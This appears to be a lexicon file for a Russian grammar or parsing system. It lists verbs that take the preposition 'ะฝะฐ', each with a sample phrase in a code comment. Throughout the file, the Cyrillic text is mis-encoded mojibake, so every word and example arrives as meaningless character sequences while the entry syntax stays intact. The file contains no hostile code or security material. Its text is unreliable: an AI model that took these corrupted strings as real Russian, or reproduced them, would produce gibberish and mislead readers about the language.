rus_verbs:ะฒะทะฒะฐะปะธะฒะฐัััั{}, // ะัะต ะดะพะผะฐัะฝะตะต ั
ะพะทัะนััะฒะพ ะฒะทะฒะฐะปะธะฒะฐะตััั ะฝะฐ ะผะฐะผะธะฝั ะฟะปะตัะธ
rus_verbs:ะฒะทะฒะฐะปะธะฒะฐัั{}, // ะะต ะฝะฐะดะพ ะฒะทะฒะฐะปะธะฒะฐัั ะฒัั ะฝะฐ ะผะพะธ ะฟะปะตัะธ
rus_verbs:ะฒะทะณะปัะฝััั{}, // ะะพัะบะฐ ะฒะทะณะปัะฝัะปะฐ ะฝะฐ ะผััะบั
rus_verbs:ะฒะทะณัะพะผะพะถะดะฐัั{}, // ะะฐะปััะธะบ ะฒะทะณัะพะผะพะถะดะฐะตั ัััะป ะฝะฐ ััะพะป
rus_verbs:ะฒะทะณัะพะผะพะถะดะฐัััั{}, // ะะฐะปััะธะบ ะฒะทะณัะพะผะพะถะดะฐะตััั ะฝะฐ ััะพะป
rus_verbs:ะฒะทะณัะพะผะพะทะดะธัั{}, // ะะฐะปััะธะบ ะฒะทะณัะพะผะพะทะดะธะป ัััะป ะฝะฐ ััะพะป
rus_verbs:ะฒะทะณัะพะผะพะทะดะธัััั{}, // ะะฐะปััะธะบ ะฒะทะณัะพะผะพะทะดะธะปัั ะฝะฐ ัััะป
rus_verbs:ะฒะทะธัะฐัั{}, // ะัะตะฒะธะดัั ะฒะทะธัะฐะปะธ ะฝะฐ ะฝะตะฟะพะฝััะฝัะน ะพะฑัะตะบั
rus_verbs:ะฒะทะปะตัะฐัั{}, // ะคะฐะฑัะธะบะฐ ัะตะนะตัะฒะตัะบะพะฒ ะฒะทะปะตัะฐะตั ะฝะฐ ะฒะพะทะดัั
rus_verbs:ะฒะทะปะตัะตัั{}, // ะคะฐะฑัะธะบะฐ ัะตะนะตัะฒะตัะบะพะฒ ะฒะทะปะตัะตะปะฐ ะฝะฐ ะฒะพะทะดัั
rus_verbs:ะฒะทะพะฑัะฐัััั{}, // ะขััะธััั ะฒะทะพะฑัะฐะปะธัั ะฝะฐ ะณะพัั
rus_verbs:ะฒะทะพะนัะธ{}, // ะขััะธััั ะฒะทะพัะปะธ ะฝะฐ ะณะพัั
rus_verbs:ะฒะทัะตััััั{}, // ะัะตั ะฒะทัะตะปัั ะฝะฐ ะฝะตะฟััะตะฒะพะณะพ ััะฝะฐ
rus_verbs:ะฒะทัััะธัััั{}, // ะัะตั ะฒะทัััะธะปัั ะฝะฐ ะฝะตะฟััะตะฒะพะณะพ ััะฝะฐ
rus_verbs:ะฒะบะฐัะธัั{}, // ัะฐะฑะพัะธะต ะฒะบะฐัะธะปะธ ะฑะพัะบั ะฝะฐ ะฟะฐะฝะดัั
rus_verbs:ะฒะบะฐััะฒะฐัั{}, // ัะฐะฑะพัะธะบ ะฒะบะฐััะฒะฐัั ะฑะพัะบั ะฝะฐ ะฟะฐะฝะดัั
rus_verbs:ะฒะปะธััั{}, // ะญัะพ ัะตัะตะฝะธะต ะฒะปะธัะตั ะฝะฐ ะฒัะตั
ะธะณัะพะบะพะฒ ััะฝะบะฐ
rus_verbs:ะฒะพะดะฒะพัะธัั{}, // ะฒะพะดะฒะพัะธัั ะฝะฐัััะธัะตะปั ะฝะฐ ะผะตััะพ
rus_verbs:ะฒะพะดะฒะพัะธัััั{}, // ะฒะพะดะฒะพัะธัััั ะฝะฐ ัะฒะพะต ะผะตััะพ
rus_verbs:ะฒะพะดะฒะพัััั{}, // ะฒะพะดะฒะพัััั ะฒะตัั ะฝะฐ ัะฒะพะต ะผะตััะพ
rus_verbs:ะฒะพะดะฒะพัััััั{}, // ะฒะพะดะฒะพัััััั ะฝะฐ ัะฒะพะต ะผะตััะพ
rus_verbs:ะฒะพะดััะถะฐัั{}, // ะฒะพะดััะถะฐัั ัะปะฐะณ ะฝะฐ ัะปะฐะณััะพะบ
rus_verbs:ะฒะพะดััะถะฐัััั{}, // ะคะปะฐะณ ะฒะพะดััะถะฐะตััั ะฝะฐ ัะปะฐะณััะพะบ
rus_verbs:ะฒะพะดััะทะธัั{}, // ะฒะพะดััะทะธัั ัะปะฐะณ ะฝะฐ ัะปะฐะณััะพะบ
rus_verbs:ะฒะพะดััะทะธัััั{}, // ะคะปะฐะณ ะฒะพะดััะทะธะปัั ะฝะฐ ะฒะตััะธะฝั ะณะพัั
rus_verbs:ะฒะพะทะดะตะนััะฒะพะฒะฐัั{}, // ะะทะปััะตะฝะธะต ะฒะพะทะดะตะนััะฒัะตั ะฝะฐ ะบะพะถั
rus_verbs:ะฒะพะทะทัะตัั{}, // ะฒะพะทะทัะตัั ะฝะฐ ะฟะพะปะต ะฑะพั
rus_verbs:ะฒะพะทะทัะธัััั{}, // ะฒะพะทะทัะธัััั ะฝะฐ ะฟะพะปะต ะฑะพั
rus_verbs:ะฒะพะทะธัั{}, // ะฒะพะทะธัั ัััะธััะพะฒ ะฝะฐ ะณะพัั
rus_verbs:ะฒะพะทะปะฐะณะฐัั{}, // ะะฝะพะณะพัะธัะปะตะฝะฝัะต ะฟะพัะตัะธัะตะปะธ ะฒะพะทะปะฐะณะฐัั ัะฒะตัั ะฝะฐ ะผะพะณะธะปั
rus_verbs:ะฒะพะทะปะฐะณะฐัััั{}, // ะัะฒะตัััะฒะตะฝะฝะพััั ะฒะพะทะปะฐะณะฐะตััั ะฝะฐ ะฝะฐัะฐะปัััะฒะพ
rus_verbs:ะฒะพะทะปะตัั{}, // ะฒะพะทะปะตัั ะฝะฐ ะปะตะถะฐะฝะบั
rus_verbs:ะฒะพะทะปะพะถะธัั{}, // ะฒะพะทะปะพะถะธัั ัะฒะตัั ะฝะฐ ะผะพะณะธะปั ะฟะพััะฐ
rus_verbs:ะฒะพะทะฝะตััะธ{}, // ะฒะพะทะฝะตััะธ ะบะพะณะพ-ัะพ ะฝะฐ ะฒะตััะธะฝั ัะปะฐะฒั
rus_verbs:ะฒะพะทะฝะพัะธัััั{}, // ะฒะพะทะฝะพัะธััั ะฝะฐ ะฒะตััะธะฝั ััะฟะตั
ะฐ
rus_verbs:ะฒะพะทะฝะพัะธัั{}, // ะฒะพะทะฝะพัะธัั ััะฐััะปะธะฒัะธะบะฐ ะฝะฐ ะฒะตััะธะฝั ััะฟะตั
ะฐ
rus_verbs:ะฟะพะดะฝะธะผะฐัััั{}, // ะั ะฟะพะดะฝะธะผะฐะตะผัั ะฝะฐ ะฒะพััะผะพะน ััะฐะถ
rus_verbs:ะฟะพะดะฝััััั{}, // ะั ะฟะพะดะฝัะปะธัั ะฝะฐ ะฒะพััะผะพะน ััะฐะถ
rus_verbs:ะฒะพะฝััั{}, // ะััะพะบ ัััะฐ ะฒะพะฝัะตั ะฝะฐ ะฒัั ะพะบััะณั
rus_verbs:ะฒะพะพะดััะตะฒะปััั{}, // ะะดะตะฐะปั ะฒะพะพะดััะตะฒะปััั ะฝะฐ ะฟะพะดะฒะธะณะธ
rus_verbs:ะฒะพะพะดััะตะฒะปััััั{}, // ะัะดะธ ะฒะพะพะดััะตะฒะปััััั ะฝะฐ ะฟะพะดะฒะธะณะธ
rus_verbs:ะฒะพััะฐัั{}, // ะกัะฐััะน ะฟะตั ะฒะพััะธั ะฝะฐ ะฟัะพั
ะพะถะธั
rus_verbs:ะฒะพัะฟัะธะฝะธะผะฐัั{}, // ะฒะพัะฟัะธะฝะธะผะฐัั ัะพะพะฑัะตะฝะธะต ะฝะฐ ัะปัั
rus_verbs:ะฒะพัะฟัะธะฝะธะผะฐัััั{}, // ัะพะพะฑัะตะฝะธะต ะฟะปะพั
ะพ ะฒะพัะฟัะธะฝะธะผะฐะตััั ะฝะฐ ัะปัั
rus_verbs:ะฒะพัะฟัะธะฝััั{}, // ะฒะพัะฟัะธะฝััั ัะพะพะฑัะตะฝะธะต ะฝะฐ ัะปัั
rus_verbs:ะฒะพัะฟัะธะฝััััั{}, // ะฒะพัะฟัะธะฝััััั ะฝะฐ ัะปัั
rus_verbs:ะฒะพััะตััั{}, // ะะพะปั ะฒะพััะตะป ะฝะฐ ััะพะฝ
rus_verbs:ะฒะฟัะฐะฒะธัั{}, // ะฒะฟัะฐะฒะธัั ะผะพะทะณ ะฝะฐ ะผะตััะพ
rus_verbs:ะฒะฟัะฐะฒะปััั{}, // ะฒะฟัะฐะฒะปััั ะผะพะทะณะธ ะฝะฐ ะผะตััะพ
rus_verbs:ะฒัะตะผะตะฝะธัั{}, // ะฒัะตะผะตะฝะธัั ั ะฒัั
ะพะดะพะผ ะฝะฐ ะฟะตะฝัะธั
rus_verbs:ะฒััะฑะฐัั{}, // ะฒััะฑะฐัั ะฝะฐ ะฟะพะปะฝัั ะผะพัะฝะพััั
rus_verbs:ะฒััะฑะธัั{}, // ะฒััะฑะธัั ะฝะฐ ะฟะพะปะฝัั ะผะพัะฝะพััั
rus_verbs:ะฒััะฑะธัััั{}, // ะฒััะฑะธัััั ะฝะฐ ะฟะพะปะฝัั ะผะพัะฝะพััั
rus_verbs:ะฒััะฒะฐัััั{}, // ะฒััะฒะฐัััั ะฝะฐ ัะพะฑัะฐะฝะธะต
rus_verbs:ะฒัะบะฐัะฐะฑะบะฐัััั{}, // ะฒัะบะฐัะฐะฑะบะฐัััั ะฝะฐ ัััั
rus_verbs:ะฒัะบะฐัะฐะฑะบะธะฒะฐัััั{}, // ะฒัะบะฐัะฐะฑะบะธะฒะฐัััั ะฝะฐ ัััั
rus_verbs:ะฒัะบะพัะธัั{}, // ะฒัะบะพัะธัั ะฝะฐ ะฝะพะณะธ
rus_verbs:ะฒัะฟะปัะฒะฐัั{}, // ะฒัะฟะปัะฒะฐัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััั ะฒะพะดั
rus_verbs:ะฒัะฟะปััั{}, // ะฒัะฟะปััั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััั ะฒะพะดั
rus_verbs:ะฒัะฟััะณะธะฒะฐัั{}, // ะฒัะฟััะณะธะฒะฐัั ะฝะฐ ะฟะปะฐััะพัะผั
rus_verbs:ะฒัะฟััะณะฝััั{}, // ะฒัะฟััะณะฝััั ะฝะฐ ะฟะปะฐััะพัะผั
rus_verbs:ะฒััะฐัั{}, // ะฒััะฐัั ะฝะฐ ะทะฐัะธัั ัะตััะธ ะธ ะดะพััะพะธะฝััะฒะฐ
rus_verbs:ะฒัะพัะณะฐัััั{}, // ะฒัะพัะณะฐัััั ะฝะฐ ััะถัั ัะตััะธัะพัะธั
rus_verbs:ะฒัะพัะณะฝััััั{}, // ะฒัะพัะณะฝััััั ะฝะฐ ััะถัั ัะตััะธัะพัะธั
rus_verbs:ะฒัะตะทะถะฐัั{}, // ะฒัะตะทะถะฐัั ะฝะฐ ะฟะฐะฝะดัั
rus_verbs:ะฝะฐัะฑะตะดะฝะธัะฐัั{}, // ะฝะฐัะฑะตะดะฝะธัะฐัั ะฝะฐ ัะพัะตะดะฐ ะฟะพ ะฟะฐััะต
rus_verbs:ะฒัะฑะปะตะฒะฐัั{}, // ะฒัะฑะปะตะฒะฐัั ะทะฐะฒััะฐะบ ะฝะฐ ะฟะพะป
rus_verbs:ะฒัะฑะปะตะฒะฐัััั{}, // ะฒัะฑะปะตะฒะฐัััั ะฝะฐ ะฟะพะป
rus_verbs:ะฒัะฑะปะตะฒัะฒะฐัั{}, // ะฒัะฑะปะตะฒัะฒะฐัั ะทะฐะฒััะฐะบ ะฝะฐ ะฟะพะป
rus_verbs:ะฒัะฑะปะตะฒัะฒะฐัััั{}, // ะฒัะฑะปะตะฒัะฒะฐัััั ะฝะฐ ะฟะพะป
rus_verbs:ะฒัะฒะตะทัะธ{}, // ะฒัะฒะตะทัะธ ะผััะพั ะฝะฐ ัะฒะฐะปะบั
rus_verbs:ะฒัะฒะตัะธัั{}, // ะฒัะฒะตัะธัั ะฑะตะปัะต ะฝะฐ ะฟัะพัััะบั
rus_verbs:ะฒัะฒะตััะธ{}, // ะฒัะฒะตััะธ ัะพะฑะฐะบั ะฝะฐ ะฟัะพะณัะปะบั
rus_verbs:ะฒัะฒะตัะธะฒะฐัั{}, // ะฒัะฒะตัะธะฒะฐัั ะฑะตะปัะต ะฝะฐ ะฒะตัะตะฒะบั
rus_verbs:ะฒัะฒะพะทะธัั{}, // ะฒัะฒะพะทะธัั ะดะตัะตะน ะฝะฐ ะฟัะธัะพะดั
rus_verbs:ะฒัะทัะฒะฐัั{}, // ะะฐัะฐะปัะฝะธะบ ะฒัะทัะฒะฐะตั ะฝะฐ ะบะพะฒะตั
rus_verbs:ะฒัะนัะธ{}, // ะฒัะนัะธ ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ะฒัะบะปะฐะดัะฒะฐัั{}, // ะฒัะบะปะฐะดัะฒะฐัั ะฝะฐ ะฒัะตะพะฑัะตะต ะพะฑะพะทัะตะฝะธะต
rus_verbs:ะฒัะบะปะฐะดัะฒะฐัััั{}, // ะฒัะบะปะฐะดัะฒะฐัััั ะฝะฐ ะฒัะตะพะฑัะตะต ะพะฑะพะทัะตะฝะธะต
rus_verbs:ะฒัะปะธะฒะฐัั{}, // ะฒัะปะธะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะปะธะฒะฐัััั{}, // ะฒัะปะธะฒะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะปะธัั{}, // ะฒัะปะธัั ะถะธะดะบะพััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะปะธัััั{}, // ะขะพะฟะปะธะฒะพ ะฒัะปะธะปะพัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะปะพะถะธัั{}, // ะฒัะปะพะถะธัั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะฒัะผะตะฝะธะฒะฐัั{}, // ะฒัะผะตะฝะธะฒะฐัั ะทะพะปะพัะพ ะฝะฐ ั
ะปะตะฑ
rus_verbs:ะฒัะผะตะฝะธะฒะฐัััั{}, // ะะพะปะพัะพ ะฒัะผะตะฝะธะฒะฐะตััั ะฝะฐ ั
ะปะตะฑ
rus_verbs:ะฒัะผะตะฝััั{}, // ะฒัะผะตะฝััั ะทะพะปะพัะพ ะฝะฐ ั
ะปะตะฑ
rus_verbs:ะฒัะฟะฐะดะฐัั{}, // ัะฝะตะณ ะฒัะฟะฐะดะฐะตั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปะตะฒัะฒะฐัั{}, // ะฒัะฟะปะตะฒัะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปะตะฒัะฒะฐัััั{}, // ะฒัะฟะปะตะฒัะฒะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปะตัะบะฐัั{}, // ะฒัะฟะปะตัะบะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปะตัะบะฐัััั{}, // ะฒัะฟะปะตัะบะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปะตัะบะธะฒะฐัั{}, // ะฒัะฟะปะตัะบะธะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปะตัะบะธะฒะฐัััั{}, // ะฒัะฟะปะตัะบะธะฒะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัะฟะปัะฒะฐัั{}, // ะฒัะฟะปัะฒะฐัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััั
rus_verbs:ะฒัะฟะปััั{}, // ะฒัะฟะปััั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััั
rus_verbs:ะฒัะฟะปัะฝััั{}, // ะฒัะฟะปัะฝััั ะฝะฐ ะฟะพะป
rus_verbs:ะฒัะฟะพะปะทะฐัั{}, // ะฒัะฟะพะปะทะฐัั ะฝะฐ ัะฒะตะถะธะน ะฒะพะทะดัั
rus_verbs:ะฒัะฟัะพัะธัััั{}, // ะฒัะฟัะพัะธัััั ะฝะฐ ัะปะธัั
rus_verbs:ะฒัะฟััะณะธะฒะฐัั{}, // ะฒัะฟััะณะธะฒะฐัั ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ะฒัะฟััะณะฝััั{}, // ะฒัะฟััะณะฝััั ะฝะฐ ะฟะตััะพะฝ
rus_verbs:ะฒัะฟััะบะฐัั{}, // ะฒัะฟััะบะฐัั ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ะฒัะฟัััะธัั{}, // ะฒัะฟัััะธัั ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ะฒัะฟััะธะฒะฐัั{}, // ะฒัะฟััะธะฒะฐัั ะฝะฐ ะบะพะณะพ-ัะพ ะณะปะฐะทะฐ
rus_verbs:ะฒัะฟััะธะฒะฐัััั{}, // ะณะปะฐะทะฐ ะฒัะฟััะธะฒะฐัััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฒัะฟััะธัั{}, // ะฒัะฟััะธัั ะณะปะฐะทะฐ ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฒัะฟััะธัััั{}, // ะฒัะฟััะธัััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฒััะพะฝะธัั{}, // ะฒััะพะฝะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒััะฐะดะธัั{}, // ะฒััะฐะดะธัั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะฒััะฐะดะธัััั{}, // ะฒััะฐะดะธัััั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะฒััะฐะถะธะฒะฐัััั{}, // ะฒััะฐะถะธะฒะฐัััั ะฝะฐ ะพัััะพะฒ
rus_verbs:ะฒััะบะฐะปัะทัะฒะฐัั{}, // ะฒััะบะฐะปัะทัะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒััะบะพัะธัั{}, // ะฒััะบะพัะธัั ะฝะฐ ััะตะฝั
rus_verbs:ะฒััะผะพัะบะฐัััั{}, // ะฒััะผะพัะบะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒััะผะพัะบะฝััััั{}, // ะฒััะผะพัะบะฝััััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัััะฐะฒะธัั{}, // ะฒัััะฐะฒะธัั ะฝะฐ ะฒัะตะพะฑัะตะต ะพะฑะพะทัะตะฝะธะต
rus_verbs:ะฒัััะฐะฒะธัััั{}, // ะฒัััะฐะฒะธัััั ะฝะฐ ะฒัะตะพะฑัะตะต ะพะฑะพะทัะตะฝะธะต
rus_verbs:ะฒัััะฐะฒะปััั{}, // ะฒัััะฐะฒะปััั ะฝะฐ ะฒัะตะพะฑัะตะต ะพะฑะพะทัะตะฝะธะต
rus_verbs:ะฒัััะฐะฒะปััััั{}, // ะฒัััะฐะฒะปััััั ะฝะฐ ะฒัะตะพะฑัะตะต ะพะฑะพะทัะตะฝะธะต
ะธะฝัะธะฝะธัะธะฒ:ะฒัััะฟะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะฒัััะฟะฐัั ะฝะฐ ะทะตะผะปั
ะธะฝัะธะฝะธัะธะฒ:ะฒัััะฟะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฒัััะฟะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฒัััะฟะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฒัััะฟะฐะฒ{},
ะดะตะตะฟัะธัะฐััะธะต:ะฒัััะฟะฐั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒัััะฟะฐะฒัะธะน{ะฒะธะด:ัะพะฒะตัั},
//++ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒัััะฟะฐะฒัะธะน{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒัััะฟะฐััะธะน{ะฒะธะด:ะฝะตัะพะฒะตัั},
rus_verbs:ะฒัััะฟะฐัััั{}, // ะฒัััะฟะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒััะฐัะฐัะธะฒะฐัั{}, // ะฒััะฐัะฐัะธะฒะฐัั ะณะปะฐะทะฐ ะฝะฐ ะผะตะดะฒะตะดั
rus_verbs:ะฒััะฐัะฐัะธะฒะฐัััั{}, // ะฒััะฐัะฐัะธะฒะฐัััั ะฝะฐ ะผะตะดะฒะตะดั
rus_verbs:ะฒััะฐัะฐัะธัั{}, // ะฒััะฐัะฐัะธัั ะณะปะฐะทะฐ ะฝะฐ ะผะตะดะฒะตะดั
rus_verbs:ะฒััะฐัะฐัะธัััั{}, // ะฒััะฐัะฐัะธัััั ะฝะฐ ะผะตะดะฒะตะดั
rus_verbs:ะฒััะตะบะฐัั{}, // ะฒััะตะบะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒััะตัั{}, // ะฒััะตัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒัััะธะฒะฐัััั{}, // ะฒัััะธะฒะฐัััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฒัััะธัััั{}, // ะฒัััะธัััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฟะพัะผะพััะตัั{}, // ะฟะพัะผะพััะตัั ะฝะฐ ัะบัะฐะฝ
rus_verbs:ะฝะฐัะธัั{}, // ะฝะฐัะธัั ััะพ-ัะพ ะฝะฐ ะพะดะตะถะดั
rus_verbs:ะฟัะธะดัะธ{}, // ะฟัะธะดัะธ ะฝะฐ ะฟะพะผะพัั ะบะพะผั-ัะพ
ะธะฝัะธะฝะธัะธะฒ:ะฟัะธะนัะธ{}, // ะฟัะธะนัะธ ะฝะฐ ะฟะพะผะพัั ะบะพะผั-ัะพ
ะณะปะฐะณะพะป:ะฟัะธะนัะธ{},
ะดะตะตะฟัะธัะฐััะธะต:ะฟัะธะดั{}, // ะัะธะดั ะฝะฐ ะฒะพะบะทะฐะป, ะพะฝ ะฟะพัะฟะตัะฝะพ ะฒะทัะป ะฑะธะปะตัั.
rus_verbs:ะฟะพะดะฝััั{}, // ะฟะพะดะฝััั ะฝะฐ ะฒะตััะธะฝั
rus_verbs:ัะพะณะปะฐัะธัััั{}, // ัะพะณะปะฐัะธัััั ะฝะฐ ะฝะธััั
rus_verbs:ะฟะพัะปะฐัั{}, // ะฟะพัะปะฐัั ะฝะฐ ััะพะฝั
rus_verbs:ัะปะฐัั{}, // ัะปะฐัั ะฝะฐ ััะพะฝั
rus_verbs:ะฝะฐะดะตััััั{}, // ะฝะฐะดะตััััั ะฝะฐ ะปัััะตะต
rus_verbs:ะบัะธะบะฝััั{}, // ะบัะธะบะฝััั ะฝะฐ ัะฐะปัะฝะพะฒ
rus_verbs:ะฟัะพะนัะธ{}, // ะฟัะพะนัะธ ะฝะฐ ะฟะปัะถ
rus_verbs:ะฟัะธัะปะฐัั{}, // ะฟัะธัะปะฐัั ะฝะฐ ัะบัะฟะตััะธะทั
rus_verbs:ะถะธัั{}, // ะถะธัั ะฝะฐ ะฟะพะดะฐัะบะธ
rus_verbs:ััะฐะฝะพะฒะธัััั{}, // ััะฐะฝะพะฒะธัััั ะฝะฐ ะฝะพะณะธ
rus_verbs:ะฝะฐัะปะฐัั{}, // ะฝะฐัะปะฐัั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฟัะธะฝััั{}, // ะฟัะธะฝััั ะฝะฐ ะทะฐะผะตัะบั
rus_verbs:ัะพะฑะธัะฐัััั{}, // ัะพะฑะธัะฐัััั ะฝะฐ ัะบะทะฐะผะตะฝ
rus_verbs:ะพััะฐะฒะธัั{}, // ะพััะฐะฒะธัั ะฝะฐ ะฒััะบะธะน ัะปััะฐะน
rus_verbs:ะทะฒะฐัั{}, // ะทะฒะฐัั ะฝะฐ ะฟะพะผะพัั
rus_verbs:ะฝะฐะฟัะฐะฒะธัััั{}, // ะฝะฐะฟัะฐะฒะธัััั ะฝะฐ ะฟัะพะณัะปะบั
rus_verbs:ะพัะฒะตัะฐัั{}, // ะพัะฒะตัะฐัั ะฝะฐ ะทะฒะพะฝะบะธ
rus_verbs:ะพัะฟัะฐะฒะธัััั{}, // ะพัะฟัะฐะฒะธัััั ะฝะฐ ะฟัะพะณัะปะบั
rus_verbs:ะฟะพััะฐะฒะธัั{}, // ะฟะพััะฐะฒะธัั ะฝะฐ ะฟะพะป
rus_verbs:ะพะฑะตัะฝััััั{}, // ะพะฑะตัะฝััััั ะฝะฐ ะทะพะฒ
rus_verbs:ะพัะพะทะฒะฐัััั{}, // ะพัะพะทะฒะฐัััั ะฝะฐ ะฟัะพััะฑั
rus_verbs:ะทะฐะบัะธัะฐัั{}, // ะทะฐะบัะธัะฐัั ะฝะฐ ัะพะฑะฐะบั
rus_verbs:ะพะฟัััะธัั{}, // ะพะฟัััะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟัะธะฝะตััะธ{}, // ะฟัะธะฝะตััะธ ะฝะฐ ะฟะปัะถ ัะฒะพะน ะถะตะทะปะพะฝะณ
rus_verbs:ัะบะฐะทะฐัั{}, // ัะบะฐะทะฐัั ะฝะฐ ะดะฒะตัั
rus_verbs:ั
ะพะดะธัั{}, // ั
ะพะดะธัั ะฝะฐ ะทะฐะฝััะธั
rus_verbs:ัััะฐะฒะธัััั{}, // ัััะฐะฒะธัััั ะฝะฐ ะปะธััะพะบ
rus_verbs:ะฟัะธั
ะพะดะธัั{}, // ะฟัะธั
ะพะดะธัั ะฝะฐ ัะบะทะฐะผะตะฝ
rus_verbs:ะผะฐั
ะฝััั{}, // ะผะฐั
ะฝััั ะฝะฐ ะฟะปัะถ
rus_verbs:ัะฒะธัััั{}, // ัะฒะธัััั ะฝะฐ ะดะพะฟัะพั
rus_verbs:ะพะณะปัะฝััััั{}, // ะพะณะปัะฝััััั ะฝะฐ ะดะพัะพะณั
rus_verbs:ัะตั
ะฐัั{}, // ัะตั
ะฐัั ะฝะฐ ะทะฐัะฐะฑะพัะบะธ
rus_verbs:ะฟะพะฒะตััะธ{}, // ะฟะพะฒะตััะธ ะฝะฐ ััััะผ
rus_verbs:ะพะฟัััะธัััั{}, // ะพะฟัััะธัััั ะฝะฐ ะบะพะปะตะฝะธ
//rus_verbs:ะฟะตัะตะดะฐัั{}, // ะฟะตัะตะดะฐัั ะฝะฐ ะฟัะพะฒะตัะบั
rus_verbs:ะฟะพะฑะตะถะฐัั{}, // ะฟะพะฑะตะถะฐัั ะฝะฐ ะทะฐะฝััะธั
rus_verbs:ะฟัะธะฑััั{}, // ะฟัะธะฑััั ะฝะฐ ะผะตััะพ ัะปัะถะฑั
rus_verbs:ะบัะธัะฐัั{}, // ะบัะธัะฐัั ะฝะฐ ะผะตะดะฒะตะดั
rus_verbs:ััะตัั{}, // ััะตัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะพะฑัะฐัะธัั{}, // ะพะฑัะฐัะธัั ะฝะฐ ัะตะฑั ะฒะฝะธะผะฐะฝะธะต
rus_verbs:ะฟะพะดะฐัั{}, // ะฟะพะดะฐัั ะฝะฐ ะฟัะพะฟะธัะฐะฝะธะต
rus_verbs:ะฟัะธะฒะตััะธ{}, // ะฟัะธะฒะตััะธ ะฝะฐ ััะตะผะบะธ
rus_verbs:ะธัะฟัััะฒะฐัั{}, // ะธัะฟัััะฒะฐัั ะฝะฐ ะถะธะฒะพัะฝัั
rus_verbs:ะฟะตัะตะฒะตััะธ{}, // ะฟะตัะตะฒะตััะธ ะฝะฐ ะถะตะฝั
rus_verbs:ะบัะฟะธัั{}, // ะบัะฟะธัั ะฝะฐ ะทะฐะตะผะฝัะต ะดะตะฝัะณะธ
rus_verbs:ัะพะฑัะฐัััั{}, // ัะพะฑัะฐัััั ะฝะฐ ะฒัััะตัั
rus_verbs:ะทะฐะณะปัะฝััั{}, // ะทะฐะณะปัะฝััั ะฝะฐ ะพะณะพะฝัะบ
rus_verbs:ะฝะฐะถะฐัั{}, // ะฝะฐะถะฐัั ะฝะฐ ัััะฐะณ
rus_verbs:ะฟะพัะฟะตัะธัั{}, // ะฟะพัะฟะตัะธัั ะฝะฐ ะฟัะฐะทะดะฝะธะบ
rus_verbs:ะฟะตัะตะนัะธ{}, // ะฟะตัะตะนัะธ ะฝะฐ ััััะบะธะน ัะทัะบ
rus_verbs:ะฟะพะฒะตัะธัั{}, // ะฟะพะฒะตัะธัั ะฝะฐ ัะตััะฝะพะต ัะปะพะฒะพ
rus_verbs:ะณะปัะฝััั{}, // ะณะปัะฝััั ะฝะฐ ะพะฑะปะพะถะบั
rus_verbs:ะทะฐะนัะธ{}, // ะทะฐะนัะธ ะฝะฐ ะพะณะพะฝัะบ
rus_verbs:ะฟัะพั
ะพะดะธัั{}, // ะฟัะพั
ะพะดะธัั ะฝะฐ ััะตะฝั
rus_verbs:ะณะปัะดะตัั{}, // ะณะปัะดะตัั ะฝะฐ ะฐะบััะธัั
//rus_verbs:ัะตัะธัััั{}, // ัะตัะธัััั ะฝะฐ ะฟััะถะพะบ
rus_verbs:ะฟัะธะณะปะฐัะธัั{}, // ะฟัะธะณะปะฐัะธัั ะฝะฐ ัะฐะฝะตั
rus_verbs:ะฟะพะทะฒะฐัั{}, // ะฟะพะทะฒะฐัั ะฝะฐ ัะบะทะฐะผะตะฝ
rus_verbs:ััะตััััั{}, // ััะตััััั ะฝะฐ ัััะป
rus_verbs:ะฟะพัััะฟะธัั{}, // ะฟะพัััะฟะธัั ะฝะฐ ะผะฐัะตะผะฐัะธัะตัะบะธะน ัะฐะบัะปััะตั
rus_verbs:ะปะตัั{}, // ะปะตัั ะฝะฐ ะถะธะฒะพั
